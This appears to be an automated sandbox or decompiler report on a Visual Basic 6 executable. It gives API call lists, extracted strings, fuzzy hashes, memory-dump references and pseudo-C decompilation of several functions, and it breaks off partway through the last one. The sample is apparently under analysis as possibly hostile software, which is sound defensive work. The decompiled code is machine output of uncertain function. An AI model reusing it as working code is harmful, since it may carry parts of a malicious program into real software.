0x00417a28
0x00417a2d
0x00417a2d
0x00417a3f
0x00417a45
0x00417a52
0x00417a52
0x00417a5e
0x00417a7b
0x00417a60
0x00417a60
0x00417a65
0x00417a6a
0x00417a6f
0x00417a6f
0x00417a9f
0x00417aa3
0x00417aa8
0x00417aae
0x00417ab5
0x00417abf
0x00417ac9
0x00417aca
0x00417acb
0x00417acc
0x00417adb
0x00417ae1
0x00417ae3
0x00417af0
0x00417b15
0x00417b15
0x00417b15
0x00417af2
0x00417af2
0x00417af7
0x00417afc
0x00417b02
0x00417b08
0x00417b0d
0x00417b0d
0x00417b1f
0x00417b24
0x00417b25
0x00417b5a
0x00417b62
0x00417b67

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004175AD
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 004175D7
__vbaR8Str.MSVBVM60(00403640,?,?,?,?,004014D6), ref: 004175E1
__vbaVarDup.MSVBVM60 ref: 00417605
#600.MSVBVM60(?,00000002), ref: 00417610
__vbaFreeVar.MSVBVM60(?,00000002), ref: 0041761B
__vbaNew2.MSVBVM60(0040319C,00423420,00403640,?,?,?,?,004014D6), ref: 00417633
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000014), ref: 00417695
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403468,00000140), ref: 004176F4
__vbaFreeObj.MSVBVM60(00000000,?,00403468,00000140), ref: 00417716
#660.MSVBVM60(?,00000002,0000000A,00000001,00000001), ref: 00417747
__vbaVarTstNe.MSVBVM60(00008002,?,?,00000002,0000000A,00000001,00000001), ref: 0041776B
__vbaFreeVarList.MSVBVM60(00000003,00000002,0000000A,?,00008002,?,?,00000002,0000000A,00000001,00000001), ref: 00417785
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,004014D6), ref: 004177AF
__vbaObjSet.MSVBVM60(?,00000000), ref: 004177E8
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040316C,00000198), ref: 00417835
_adj_fdiv_m64.MSVBVM60 ref: 0041787C
__vbaFpI4.MSVBVM60 ref: 004178A1
__vbaHresultCheckObj.MSVBVM60(00000000,004013A8,00402884,000002C0,?,?,?,00000000), ref: 00417908
__vbaFreeObj.MSVBVM60(?,?,?,00000000), ref: 0041791F
__vbaVarDup.MSVBVM60(?,?,?,00000000), ref: 00417946
#632.MSVBVM60(?,?,00000002,00000002), ref: 00417959
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?,?,?,00000002,00000002), ref: 0041797D
__vbaFreeVarList.MSVBVM60(00000003,?,00000002,?,00008008,?,?,?,?,?,?,?,00000002,00000002), ref: 00417997
__vbaNew2.MSVBVM60(0040319C,00423420,?,?,?,?,?,?,?,004014D6), ref: 004179C1
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000048), ref: 00417A28
__vbaStrMove.MSVBVM60(00000000,?,0040318C,00000048), ref: 00417A52
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,?,?,?,004014D6), ref: 00417A6A
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417AA3
__vbaChkstk.MSVBVM60(?,00000000), ref: 00417ABF
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000228), ref: 00417B08
__vbaFreeObj.MSVBVM60(00000000,?,004031C0,00000228), ref: 00417B1F
__vbaFreeStr.MSVBVM60(00417B68), ref: 00417B5A
__vbaFreeStr.MSVBVM60(00417B68), ref: 00417B62

Strings

4B, xrefs: 0041764E
RADIATION, xrefs: 004175F1
4B, xrefs: 004179DC

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$New2$ChkstkList$#600#632#660CopyMove_adj_fdiv_m64
String ID: 4B$ 4B$RADIATION
API String ID: 1709216091-2174841685
Opcode ID: f5a9de79a075db21b2eee92a2a22ab3285add689b7b800a2ab39ce6e4a435fcc
Instruction ID: 996f8308e29272fc19d1f13d58dd6c9ad24bc49c85a250b2b292462453460001
Opcode Fuzzy Hash: f5a9de79a075db21b2eee92a2a22ab3285add689b7b800a2ab39ce6e4a435fcc
Instruction Fuzzy Hash: A3F1F670A04228EFDB20DF91CC49BEDBBB5BF04305F0045AAE149B72A1DB795A85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00420131, Relevance: 61.4, APIs: 31, Strings: 4, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00420131(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8, void* _a12, void* _a48) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				void* _v48;
				void* _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v84;
				char _v100;
				char* _v108;
				intOrPtr _v116;
				void* _v120;
				signed int _v124;
				intOrPtr* _v128;
				signed int _v132;
				char _v144;
				intOrPtr* _v148;
				signed int _v152;
				signed int _v156;
				void* _t79;
				signed int _t80;
				char* _t84;
				char* _t91;
				signed int _t95;
				char* _t96;
				signed int _t99;
				void* _t130;
				void* _t132;
				intOrPtr _t133;

				_t133 = _t132 - 0xc;
				 *[fs:0x0] = _t133;
				L004014D0();
				_v16 = _t133;
				_v12 = 0x401410;
				_v8 = 0;
				_t79 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014d6, _t130);
				L0040168C();
				L0040168C();
				L0040168C();
				_push(0x403570);
				L00401590();
				if(_t79 != 0x61) {
					L00401644();
				}
				_v108 = 0x40410c;
				_v116 = 8;
				L00401632();
				_t80 =  &_v84;
				_push(_t80);
				L00401668();
				L004016E0();
				_push(_t80);
				_push(0);
				L004016E6();
				asm("sbb eax, eax");
				_v120 =  ~( ~_t80 + 1);
				L004016D4();
				L004016AA();
				_t84 = _v120;
				if(_t84 != 0) {
					if( *0x423420 != 0) {
						_v144 = 0x423420;
					} else {
						_push(0x423420);
						_push(0x40319c);
						L004016C8();
						_v144 = 0x423420;
					}
					_t25 =  &_v144; // 0x423420
					_v128 =  *((intOrPtr*)( *_t25));
					if( *0x423010 != 0) {
						_v148 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v148 = 0x423010;
					}
					_t91 =  &_v64;
					L004016B6();
					_v120 = _t91;
					_t95 =  *((intOrPtr*)( *_v120 + 0x238))(_v120,  &_v60, _t91,  *((intOrPtr*)( *((intOrPtr*)( *_v148)) + 0x308))( *_v148));
					asm("fclex");
					_v124 = _t95;
					if(_v124 >= 0) {
						_v152 = _v152 & 0x00000000;
					} else {
						_push(0x238);
						_push(0x4031c0);
						_push(_v120);
						_push(_v124);
						L004016CE();
						_v152 = _t95;
					}
					L0040167A();
					_t96 =  &_v68;
					L004016B6();
					_t99 =  *((intOrPtr*)( *_v128 + 0x40))(_v128, _t96, _t96, _t95, _v56, 0x403448, _v60);
					asm("fclex");
					_v132 = _t99;
					if(_v132 >= 0) {
						_v156 = _v156 & 0x00000000;
					} else {
						_push(0x40);
						_push(0x40318c);
						_push(_v128);
						_push(_v132);
						L004016CE();
						_v156 = _t99;
					}
					L004016D4();
					_push( &_v68);
					_t84 =  &_v64;
					_push(_t84);
					_push(2);
					L004016B0();
				}
				_push(2);
				_push("ABC");
				_push(0x4031bc);
				_push(0);
				L0040158A();
				if(_t84 != 3) {
					_v108 = L"VANDLBSKVALITETEN";
					_v116 = 8;
					L00401632();
					_push( &_v84);
					_t84 =  &_v100;
					_push(_t84);
					L00401638();
					L004016F2();
					L004016AA();
				}
				_push(0x4203ec);
				L004016D4();
				L004016D4();
				L004016AA();
				L004016D4();
				L0040169E();
				return _t84;
			}

0x00420134
0x00420143
0x0042014f
0x00420157
0x0042015a
0x00420161
0x00420170
0x00420179
0x00420184
0x0042018f
0x00420194
0x00420199
0x004201a2
0x004201a4
0x004201a4
0x004201a9
0x004201b0
0x004201bd
0x004201c2
0x004201c5
0x004201c6
0x004201d0
0x004201d5
0x004201d6
0x004201d8
0x004201df
0x004201e4
0x004201eb
0x004201f3
0x004201f8
0x004201fe
0x0042020b
0x00420228
0x0042020d
0x0042020d
0x00420212
0x00420217
0x0042021c
0x0042021c
0x00420232
0x0042023a
0x00420244
0x00420261
0x00420246
0x00420246
0x0042024b
0x00420250
0x00420255
0x00420255
0x00420285
0x00420289
0x0042028e
0x0042029d
0x004202a3
0x004202a5
0x004202ac
0x004202cb
0x004202ae
0x004202ae
0x004202b3
0x004202b8
0x004202bb
0x004202be
0x004202c3
0x004202c3
0x004202dd
0x004202e3
0x004202e7
0x004202f5
0x004202f8
0x004202fa
0x00420301
0x0042031d
0x00420303
0x00420303
0x00420305
0x0042030a
0x0042030d
0x00420310
0x00420315
0x00420315
0x00420327
0x0042032f
0x00420330
0x00420333
0x00420334
0x00420336
0x0042033b
0x0042033e
0x00420340
0x00420345
0x0042034a
0x0042034c
0x00420354
0x00420356
0x0042035d
0x0042036a
0x00420372
0x00420373
0x00420376
0x00420377
0x00420382
0x0042038a
0x0042038a
0x0042038f
0x004203c6
0x004203ce
0x004203d6
0x004203de
0x004203e6
0x004203eb

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 0042014F
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00420179
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00420184
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 0042018F
#516.MSVBVM60(00403570,?,?,?,?,004014D6), ref: 00420199
__vbaEnd.MSVBVM60(00403570,?,?,?,?,004014D6), ref: 004201A4
__vbaVarDup.MSVBVM60 ref: 004201BD
#667.MSVBVM60(?), ref: 004201C6
__vbaStrMove.MSVBVM60(?), ref: 004201D0
__vbaStrCmp.MSVBVM60(00000000,00000000,?), ref: 004201D8
__vbaFreeStr.MSVBVM60(00000000,00000000,?), ref: 004201EB
__vbaFreeVar.MSVBVM60(00000000,00000000,?), ref: 004201F3
__vbaNew2.MSVBVM60(0040319C,00423420,00000000,00000000,?), ref: 00420217
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,00000000,00000000,?), ref: 00420250
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,00000000,00000000,?), ref: 00420289
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000238,?,?,?,?,00000000,00000000,?), ref: 004202BE
__vbaCastObj.MSVBVM60(?,00403448,?,?,?,?,?,?,?,00000000,00000000,?), ref: 004202DD
__vbaObjSet.MSVBVM60(?,00000000,?,00403448,?,?,?,?,?,?,?,00000000,00000000,?), ref: 004202E7
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000040,?,?,?,?,?,?,00000000,00000000,?), ref: 00420310
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00000000,00000000,?), ref: 00420327
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 00420336
__vbaInStr.MSVBVM60(00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 0042034C
__vbaVarDup.MSVBVM60(00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 0042036A
#666.MSVBVM60(?,?,00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 00420377
__vbaVarMove.MSVBVM60(?,?,00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 00420382
__vbaFreeVar.MSVBVM60(?,?,00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 0042038A
__vbaFreeStr.MSVBVM60(004203EC,00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 004203C6
__vbaFreeStr.MSVBVM60(004203EC,00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 004203CE
__vbaFreeVar.MSVBVM60(004203EC,00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 004203D6
__vbaFreeStr.MSVBVM60(004203EC,00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 004203DE
__vbaFreeObj.MSVBVM60(004203EC,00000000,004031BC,ABC,00000002,00000000,00000000,?), ref: 004203E6

Strings

4B, xrefs: 00420232
tmp, xrefs: 004201A9
ABC, xrefs: 00420340
VANDLBSKVALITETEN, xrefs: 00420356

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Copy$CheckHresultMoveNew2$#516#666#667CastChkstkList
String ID: 4B$ABC$VANDLBSKVALITETEN$tmp
API String ID: 160222893-2325658824
Opcode ID: 4a395391ce8d5ab57d2a37c60c11443b4ac75b285064094de62daafee5c91621
Instruction ID: 8bca41f7a70a76b8b5ab58924210944d24417c3d9fce43fe1beb2b05f16df84e
Opcode Fuzzy Hash: 4a395391ce8d5ab57d2a37c60c11443b4ac75b285064094de62daafee5c91621
Instruction Fuzzy Hash: 7D71F870A00218AFCB10EFA1DC86BDDBBB8BF14708F54456AF405BB1A2DB795A45CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00420B80, Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 302
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00420B80(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				void* _v28;
				signed int _v32;
				intOrPtr _v40;
				char _v48;
				char _v52;
				signed int _v56;
				char _v60;
				intOrPtr* _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				short _v80;
				signed int _v88;
				char _v92;
				signed int _v96;
				signed int _v100;
				intOrPtr* _v104;
				signed int _v108;
				signed int _v112;
				intOrPtr* _v116;
				signed int _v120;
				intOrPtr* _v124;
				signed int _v128;
				char _v132;
				signed int _v136;
				signed int _v140;
				signed int _t157;
				signed int _t162;
				signed int _t166;
				char* _t170;
				signed int _t174;
				signed int _t180;
				signed int _t186;
				char* _t193;
				signed int _t197;
				char* _t203;
				signed int _t207;
				intOrPtr _t229;
				intOrPtr _t234;

				_push(0x4014d6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t234;
				_push(0x78);
				L004014D0();
				_v12 = _t234;
				_v8 = 0x401470;
				_t229 = _a16;
				L0040168C();
				if( *0x423420 != 0) {
					_v92 = 0x423420;
				} else {
					_push(0x423420);
					_push(0x40319c);
					L004016C8();
					_v92 = 0x423420;
				}
				_t7 =  &_v92; // 0x423420
				_v64 =  *((intOrPtr*)( *_t7));
				_t157 =  *((intOrPtr*)( *_v64 + 0x14))(_v64,  &_v28);
				asm("fclex");
				_v68 = _t157;
				if(_v68 >= 0) {
					_v96 = _v96 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x40318c);
					_push(_v64);
					_push(_v68);
					L004016CE();
					_v96 = _t157;
				}
				_v72 = _v28;
				_t162 =  *((intOrPtr*)( *_v72 + 0x128))(_v72,  &_v56);
				asm("fclex");
				_v76 = _t162;
				if(_v76 >= 0) {
					_v100 = _v100 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x403468);
					_push(_v72);
					_push(_v76);
					L004016CE();
					_v100 = _t162;
				}
				_v80 =  ~(0 | _v56 == 0x00000000);
				L0040169E();
				_t166 = _v80;
				if(_t166 != 0) {
					if( *0x423010 != 0) {
						_v104 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v104 = 0x423010;
					}
					_t203 =  &_v28;
					L004016B6();
					_v64 = _t203;
					_t207 =  *((intOrPtr*)( *_v64 + 0x130))(_v64,  &_v52, _t203,  *((intOrPtr*)( *((intOrPtr*)( *_v104)) + 0x2fc))( *_v104));
					asm("fclex");
					_v68 = _t207;
					if(_v68 >= 0) {
						_v108 = _v108 & 0x00000000;
					} else {
						_push(0x130);
						_push(0x4031d0);
						_push(_v64);
						_push(_v68);
						L004016CE();
						_v108 = _t207;
					}
					_t166 =  *((intOrPtr*)( *_a4 + 0x15c))(_a4, _v52);
					asm("fclex");
					_v72 = _t166;
					if(_v72 >= 0) {
						_v112 = _v112 & 0x00000000;
					} else {
						_push(0x15c);
						_push(0x402884);
						_push(_a4);
						_push(_v72);
						L004016CE();
						_v112 = _t166;
					}
					L0040169E();
				}
				_push(0x403640);
				L004015BA();
				_push(_t229);
				_push(_t166);
				L004015C0();
				if(_t166 != 0) {
					if( *0x423010 != 0) {
						_v116 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v116 = 0x423010;
					}
					_t193 =  &_v28;
					L004016B6();
					_v64 = _t193;
					_t197 =  *((intOrPtr*)( *_v64 + 0x120))(_v64,  &_v32, _t193,  *((intOrPtr*)( *((intOrPtr*)( *_v116)) + 0x318))( *_v116));
					asm("fclex");
					_v68 = _t197;
					if(_v68 >= 0) {
						_v120 = _v120 & 0x00000000;
					} else {
						_push(0x120);
						_push(0x4031f0);
						_push(_v64);
						_push(_v68);
						L004016CE();
						_v120 = _t197;
					}
					_v88 = _v32;
					_v32 = _v32 & 0x00000000;
					_v40 = _v88;
					_v48 = 9;
					_t166 =  &_v48;
					_push(_t166);
					L004015B4();
					L0040169E();
					L004016AA();
				}
				E00402E8C();
				_v56 = _t166;
				L00401680();
				if( *0x423010 != 0) {
					_v124 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v124 = 0x423010;
				}
				_t170 =  &_v28;
				L004016B6();
				_v64 = _t170;
				_t174 =  *((intOrPtr*)( *_v64 + 0x60))(_v64,  &_v60, _t170,  *((intOrPtr*)( *((intOrPtr*)( *_v124)) + 0x308))( *_v124));
				asm("fclex");
				_v68 = _t174;
				if(_v68 >= 0) {
					_v128 = _v128 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x4031c0);
					_push(_v64);
					_push(_v68);
					L004016CE();
					_v128 = _t174;
				}
				asm("sbb eax, eax");
				_v72 =  ~( ~(_v56 - _v60) + 1);
				L0040169E();
				_t180 = _v72;
				if(_t180 != 0) {
					if( *0x423420 != 0) {
						_v132 = 0x423420;
					} else {
						_push(0x423420);
						_push(0x40319c);
						L004016C8();
						_v132 = 0x423420;
					}
					_t123 =  &_v132; // 0x423420
					_v64 =  *((intOrPtr*)( *_t123));
					_t186 =  *((intOrPtr*)( *_v64 + 0x1c))(_v64,  &_v28);
					asm("fclex");
					_v68 = _t186;
					if(_v68 >= 0) {
						_v136 = _v136 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x40318c);
						_push(_v64);
						_push(_v68);
						L004016CE();
						_v136 = _t186;
					}
					_v72 = _v28;
					_t180 =  *((intOrPtr*)( *_v72 + 0x50))(_v72);
					asm("fclex");
					_v76 = _t180;
					if(_v76 >= 0) {
						_v140 = _v140 & 0x00000000;
					} else {
						_push(0x50);
						_push(0x403458);
						_push(_v72);
						_push(_v76);
						L004016CE();
						_v140 = _t180;
					}
					L0040169E();
				}
				asm("wait");
				_push(0x420fa3);
				L004016D4();
				return _t180;
			}

0x00420b85
0x00420b90
0x00420b91
0x00420b98
0x00420b9b
0x00420ba3
0x00420ba6
0x00420bad
0x00420bb3
0x00420bbf
0x00420bd9
0x00420bc1
0x00420bc1
0x00420bc6
0x00420bcb
0x00420bd0
0x00420bd0
0x00420be0
0x00420be5
0x00420bf4
0x00420bf7
0x00420bf9
0x00420c00
0x00420c19
0x00420c02
0x00420c02
0x00420c04
0x00420c09
0x00420c0c
0x00420c0f
0x00420c14
0x00420c14
0x00420c20
0x00420c2f
0x00420c35
0x00420c37
0x00420c3e
0x00420c5a
0x00420c40
0x00420c40
0x00420c45
0x00420c4a
0x00420c4d
0x00420c50
0x00420c55
0x00420c55
0x00420c69
0x00420c70
0x00420c75
0x00420c7b
0x00420c88
0x00420ca2
0x00420c8a
0x00420c8a
0x00420c8f
0x00420c94
0x00420c99
0x00420c99
0x00420cbd
0x00420cc1
0x00420cc6
0x00420cd5
0x00420cdb
0x00420cdd
0x00420ce4
0x00420d00
0x00420ce6
0x00420ce6
0x00420ceb
0x00420cf0
0x00420cf3
0x00420cf6
0x00420cfb
0x00420cfb
0x00420d0f
0x00420d15
0x00420d17
0x00420d1e
0x00420d3a
0x00420d20
0x00420d20
0x00420d25
0x00420d2a
0x00420d2d
0x00420d30
0x00420d35
0x00420d35
0x00420d41
0x00420d41
0x00420d46
0x00420d4b
0x00420d50
0x00420d51
0x00420d58
0x00420d5f
0x00420d6c
0x00420d86
0x00420d6e
0x00420d6e
0x00420d73
0x00420d78
0x00420d7d
0x00420d7d
0x00420da1
0x00420da5
0x00420daa
0x00420db9
0x00420dbf
0x00420dc1
0x00420dc8
0x00420de4
0x00420dca
0x00420dca
0x00420dcf
0x00420dd4
0x00420dd7
0x00420dda
0x00420ddf
0x00420ddf
0x00420deb
0x00420dee
0x00420df5
0x00420df8
0x00420dff
0x00420e02
0x00420e03
0x00420e0b
0x00420e13
0x00420e13
0x00420e18
0x00420e1d
0x00420e20
0x00420e2c
0x00420e46
0x00420e2e
0x00420e2e
0x00420e33
0x00420e38
0x00420e3d
0x00420e3d
0x00420e61
0x00420e65
0x00420e6a
0x00420e79
0x00420e7c
0x00420e7e
0x00420e85
0x00420e9e
0x00420e87
0x00420e87
0x00420e89
0x00420e8e
0x00420e91
0x00420e94
0x00420e99
0x00420e99
0x00420eaa
0x00420eaf
0x00420eb6
0x00420ebb
0x00420ec1
0x00420ece
0x00420ee8
0x00420ed0
0x00420ed0
0x00420ed5
0x00420eda
0x00420edf
0x00420edf
0x00420eef
0x00420ef4
0x00420f03
0x00420f06
0x00420f08
0x00420f0f
0x00420f2b
0x00420f11
0x00420f11
0x00420f13
0x00420f18
0x00420f1b
0x00420f1e
0x00420f23
0x00420f23
0x00420f35
0x00420f40
0x00420f43
0x00420f45
0x00420f4c
0x00420f68
0x00420f4e
0x00420f4e
0x00420f50
0x00420f55
0x00420f58
0x00420f5b
0x00420f60
0x00420f60
0x00420f72
0x00420f72
0x00420f77
0x00420f78
0x00420f9d
0x00420fa2

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 00420B9B
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 00420BB3
__vbaNew2.MSVBVM60(0040319C,00423420,?,?,?,?,004014D6), ref: 00420BCB
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000014), ref: 00420C0F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403468,00000128), ref: 00420C50
__vbaFreeObj.MSVBVM60(00000000,?,00403468,00000128), ref: 00420C70
__vbaNew2.MSVBVM60(00401EF4,00423010), ref: 00420C94
__vbaObjSet.MSVBVM60(?,00000000), ref: 00420CC1
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031D0,00000130), ref: 00420CF6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402884,0000015C), ref: 00420D30
__vbaFreeObj.MSVBVM60(00000000,?,00402884,0000015C), ref: 00420D41
__vbaCyStr.MSVBVM60(00403640), ref: 00420D4B
__vbaFpCmpCy.MSVBVM60(00000000,?,00403640), ref: 00420D58
__vbaNew2.MSVBVM60(00401EF4,00423010,00000000,?,00403640), ref: 00420D78
__vbaObjSet.MSVBVM60(?,00000000,?,00403640), ref: 00420DA5
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031F0,00000120,?,00403640), ref: 00420DDA
#529.MSVBVM60(00000009,?,?,?,?,00403640), ref: 00420E03
__vbaFreeObj.MSVBVM60(00000009,?,?,?,?,00403640), ref: 00420E0B
__vbaFreeVar.MSVBVM60(00000009,?,?,?,?,00403640), ref: 00420E13
__vbaSetSystemError.MSVBVM60(00000000,?,00403640), ref: 00420E20
__vbaNew2.MSVBVM60(00401EF4,00423010,00000000,?,00403640), ref: 00420E38
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,00000000,?,00403640), ref: 00420E65
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000060,?,?,?,00000000,?,00403640), ref: 00420E94
__vbaFreeObj.MSVBVM60(?,?,?,00000000,?,00403640), ref: 00420EB6
__vbaNew2.MSVBVM60(0040319C,00423420,?,?,?,00000000,?,00403640), ref: 00420EDA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,0000001C,?,?,?,?,?,00000000,?,00403640), ref: 00420F1E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403458,00000050,?,?,?,?,?,00000000,?,00403640), ref: 00420F5B
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,00000000,?,00403640), ref: 00420F72

Strings

4B, xrefs: 00420BE0
4B, xrefs: 00420EEF

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$Free$New2$#529ChkstkCopyErrorSystem
String ID: 4B$ 4B
API String ID: 3487442868-3689678258
Opcode ID: 4bdefc8799c628463b651ff4a7f3b4cec6829c98582301a909ecea5da8985c46
Instruction ID: 596ed80bd97120cd2b2b7531ecff61a4e671fa9a9f2c4962a3846f555a7596af
Opcode Fuzzy Hash: 4bdefc8799c628463b651ff4a7f3b4cec6829c98582301a909ecea5da8985c46
Instruction Fuzzy Hash: 48D1F370E10218EFCB14EFA5D845BADBBF4BF08309F60452AE101BB2A1DB796945DF58

Uniqueness

Uniqueness Score: -1.00%

Function 004215C8, Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E004215C8(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __fp0) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v36;
				long long _v44;
				short _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				char _v64;
				intOrPtr _v72;
				char _v80;
				void* _v84;
				char _v88;
				signed int _v92;
				intOrPtr* _v96;
				signed int _v100;
				short _v104;
				signed int _v108;
				signed int _v116;
				char _v120;
				signed int _v124;
				signed int _v128;
				intOrPtr* _v132;
				signed int _v136;
				intOrPtr* _v140;
				signed int _v144;
				intOrPtr* _v148;
				signed int _v152;
				signed int _t120;
				signed int _t125;
				char* _t130;
				signed int _t133;
				char* _t137;
				signed int _t141;
				char* _t146;
				char* _t150;
				signed int _t154;
				intOrPtr _t181;
				long long _t194;

				_t194 = __fp0;
				_push(0x4014d6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t181;
				L004014D0();
				_v12 = _t181;
				_v8 = 0x4014b0;
				if( *0x423420 != 0) {
					_v120 = 0x423420;
				} else {
					_push(0x423420);
					_push(0x40319c);
					L004016C8();
					_v120 = 0x423420;
				}
				_t5 =  &_v120; // 0x423420
				_v96 =  *((intOrPtr*)( *_t5));
				_t120 =  *((intOrPtr*)( *_v96 + 0x14))(_v96,  &_v64);
				asm("fclex");
				_v100 = _t120;
				if(_v100 >= 0) {
					_v124 = _v124 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x40318c);
					_push(_v96);
					_push(_v100);
					L004016CE();
					_v124 = _t120;
				}
				_v104 = _v64;
				_t125 =  *((intOrPtr*)( *_v104 + 0x108))(_v104,  &_v84);
				asm("fclex");
				_v108 = _t125;
				if(_v108 >= 0) {
					_v128 = _v128 & 0x00000000;
				} else {
					_push(0x108);
					_push(0x403468);
					_push(_v104);
					_push(_v108);
					L004016CE();
					_v128 = _t125;
				}
				_v48 = _v84;
				L0040169E();
				if( *0x423010 != 0) {
					_v132 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v132 = 0x423010;
				}
				_t130 =  &_v64;
				L004016B6();
				_v96 = _t130;
				_t133 =  *((intOrPtr*)( *_v96 + 0x208))(_v96, _t130,  *((intOrPtr*)( *((intOrPtr*)( *_v132)) + 0x2fc))( *_v132));
				asm("fclex");
				_v100 = _t133;
				if(_v100 >= 0) {
					_v136 = _v136 & 0x00000000;
				} else {
					_push(0x208);
					_push(0x4031d0);
					_push(_v96);
					_push(_v100);
					L004016CE();
					_v136 = _t133;
				}
				L0040169E();
				if( *0x423010 != 0) {
					_v140 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v140 = 0x423010;
				}
				_t137 =  &_v64;
				L004016B6();
				_v96 = _t137;
				_t141 =  *((intOrPtr*)( *_v96 + 0x1c0))(_v96,  &_v88, _t137,  *((intOrPtr*)( *((intOrPtr*)( *_v140)) + 0x310))( *_v140));
				asm("fclex");
				_v100 = _t141;
				if(_v100 >= 0) {
					_v144 = _v144 & 0x00000000;
				} else {
					_push(0x1c0);
					_push(0x4031c0);
					_push(_v96);
					_push(_v100);
					L004016CE();
					_v144 = _t141;
				}
				_push(_v88);
				E00402ED4();
				_v92 = _t141;
				L00401680();
				_v104 =  ~(0 | _v92 == 0x004d0718);
				L0040169E();
				if(_v104 != 0) {
					if( *0x423010 != 0) {
						_v148 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v148 = 0x423010;
					}
					_t150 =  &_v64;
					L004016B6();
